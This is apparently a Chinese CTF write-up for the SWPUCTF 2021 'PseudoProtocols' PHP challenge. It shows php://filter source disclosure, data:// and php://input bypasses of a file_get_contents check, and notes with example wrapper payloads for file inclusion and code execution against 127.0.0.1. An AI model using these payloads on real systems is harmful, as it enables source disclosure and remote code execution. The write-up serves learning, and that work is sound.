php伪协议 [SWPUCTF 2021 新生赛]PseudoProtocols

根据题目提示

我们直接用伪协议读取hint.php即可

php://filter/read=convert.base64-encode/resource=hint.php

php伪协议 [SWPUCTF 2021 新生赛]PseudoProtocols_第1张图片

我们把得到的编码拿去base64解密一下得到

php伪协议 [SWPUCTF 2021 新生赛]PseudoProtocols_第2张图片

那我们直接去访问一下

php伪协议 [SWPUCTF 2021 新生赛]PseudoProtocols_第3张图片

也可以用伪协议继续读取,只不过最后要base64解密一下

php://filter/read=convert.base64-encode/resource=test2222222222222.php

php伪协议 [SWPUCTF 2021 新生赛]PseudoProtocols_第4张图片

 我们简单分析一下代码

ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
    echo "success\n";
    echo $flag;
}
?>

 文件包含了一个flag.php,如果我们get传入一个a且不为空,a参数利用file_get_contents()参数只读形式打开,打开内容要和I want flag 字符串内容相匹配,才能输出我们想要的flag

第一种解法

test2222222222222.php?a=data://text/plain,I want flag

得到flag

php伪协议 [SWPUCTF 2021 新生赛]PseudoProtocols_第5张图片

第二种解法

test2222222222222.php?a=php://input

然后post个 I want flag 的值上去

php伪协议 [SWPUCTF 2021 新生赛]PseudoProtocols_第6张图片

知识点:

file://伪协议 (读取文件内容)

通过file协议可以访问本地文件系统,读取到文件的内容

data://(读取文件)

和php伪协议的input类似,碰到file_get_contents()来用

data:// 数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

示例用法:

1、data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,
 
2、data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

php://input(任意代码执行)

遇到file_get_contents()要想到用php://input绕过。

php://input 可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

例如:

http://127.0.0.1/cmd.php?cmd=php://input
POST数据:

你可能感兴趣的:(php,开发语言)